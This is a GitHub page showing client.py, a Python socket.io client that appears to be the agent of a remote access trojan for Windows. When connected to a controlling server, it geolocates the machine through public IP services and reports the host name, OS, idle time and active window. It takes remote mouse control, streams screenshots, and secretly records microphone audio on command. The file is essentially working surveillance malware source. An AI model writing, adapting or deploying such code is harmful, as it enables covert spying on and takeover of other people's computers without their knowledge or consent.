-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
191 lines (146 loc) · 5.22 KB
/
client.py
File metadata and controls
191 lines (146 loc) · 5.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import socketio
import os
import platform
from requests import get
from win32api import GetTickCount, GetLastInputInfo
from win32gui import GetWindowText, GetForegroundWindow
from time import monotonic
from PIL import Image
import dxcam
from io import BytesIO
import base64
from pyautogui import click,rightClick,moveTo,mouseDown,mouseUp
import pyaudio
import wave
p = pyaudio.PyAudio()
import re
from time import sleep
camera = dxcam.create()
sio = socketio.Client()
isConnected = 0
clientData = {}
@sio.on("getIdleTime")
def getIdleTime():
idleTime = (GetTickCount() - GetLastInputInfo()) / 1000.0
sio.emit("recvIdleTime",idleTime)
@sio.on("getUpTime")
def getUpTime():
sio.emit("recvUpTime",monotonic())
@sio.on("getActiveWindow")
def getActiveWindow():
fullWindow = GetWindowText(GetForegroundWindow())
windowSplit = fullWindow.split(" - ")
window = windowSplit[len(windowSplit)-1]
if len(fullWindow)>30:
fullWindow = window
sio.emit("recvActiveWindow",fullWindow)
@sio.on('getping')
def getPing():
sio.emit("pong")
@sio.on("updateParams")
def updateParams(params):
for key in params:
clientData[key] = params[key]
#acutal command function
@sio.on("sendClick")
def sendClick(coord):
click(coord["x"],coord["y"])
@sio.on("mouseDown")
def mDown(coord):
moveTo(coord["x"],coord["y"])
sleep(0.05)
mouseDown(coord["x"],coord["y"])
@sio.on("mouseUp")
def mUp(coord):
moveTo(coord["x"],coord["y"])
sleep(0.05)
mouseUp(coord["x"],coord["y"])
@sio.on("sendRClick")
def sendClick(coord):
moveTo(coord["x"],coord["y"])
sleep(0.05)
rightClick(coord["x"],coord["y"])
@sio.on("moveMouse")
def moveMouse(coord):
moveTo(coord["x"],coord["y"])
@sio.on('screenshare')
def screenshare():
quality = 25
if "remoteDesktopQuality" in clientData:
quality=int(clientData["remoteDesktopQuality"])-2
try:
frame = camera.grab()
image = Image.fromarray(frame)
image = image.reduce((50-quality))
image = image.quantize(colors=256//2,method=2)
buffered = BytesIO()
image.save(buffered,format="PNG")
img_str = base64.b64encode(buffered.getvalue())
sio.emit("screenshare",img_str)
except:
sio.emit("screenshare","error")
@sio.event
def remoteMicrophone():
chunk = 3200 # Record in chunks of 1024 samples
sample_format = pyaudio.paInt16 # 16 bits per sample
channels = 1
fs = 8000 # Record at 44100 samples per second
seconds = 3
filename = "C:\\Users\\UTILIS~1\\AppData\\Local\\Temp\\microRecord.wav"
print(clientData["defaultMic"])
stream = p.open(format=sample_format,
channels=channels,
rate=fs,
frames_per_buffer=chunk,
input=True,
input_device_index=int(clientData["defaultMic"]))
frames = []
for i in range(0, int(fs / chunk * seconds)):
data = stream.read(chunk)
frames.append(data)
stream.stop_stream()
stream.close()
wf = wave.open(filename, 'wb')
wf.setnchannels(channels)
wf.setsampwidth(p.get_sample_size(sample_format))
wf.setframerate(fs)
wf.writeframes(b''.join(frames))
wf.close()
with open(filename,"rb") as file:
sio.emit("remoteMicrophone",[b"".join(file.readlines())])
@sio.event
def connect():
global isConnected
isConnected = 1
print('connection established')
clientData["ip"] = get('https://api64.ipify.org?format=json').json()['ip']
clientData["loc"] = get(f'https://ipapi.co/{clientData["ip"]}/json/').json()
deviceString = dxcam.output_info()
resolution = re.findall("\(.*\)",deviceString)
resolutionList = [[res.split(",")[0][1:],res.split(",")[1][:-1]] for res in resolution]
defaultIndex = p.get_default_input_device_info().get("index")
clientData["defaultMic"] = defaultIndex
numdevices = p.get_host_api_info_by_index(0).get('deviceCount')
micList = [p.get_device_info_by_host_api_device_index(0, i).get('name') for i in range(0, numdevices) if (p.get_device_info_by_host_api_device_index(0, i).get('maxInputChannels')) > 0]
micList[defaultIndex] = "!!!" + micList[defaultIndex]
sio.emit('newClient', [{'name': os.environ["COMPUTERNAME"],
"ip":clientData["ip"],
"os":f"{platform.system()} {platform.release()}",
"loc":f'{clientData["loc"].get("city")} {clientData["loc"].get("country_name")}',
"ping":"0",
"idleTime":"Not idle",
"upTime":"00:00:00",
"activeWindow":"None"},
{"resolutionList":resolutionList,
"microphoneList":micList}])
@sio.event
def disconnect():
print('disconnected from server')
def connecting():
while isConnected==0:
try:
sio.connect('http://localhost:5454')
sio.wait()
except Exception:
pass
connecting()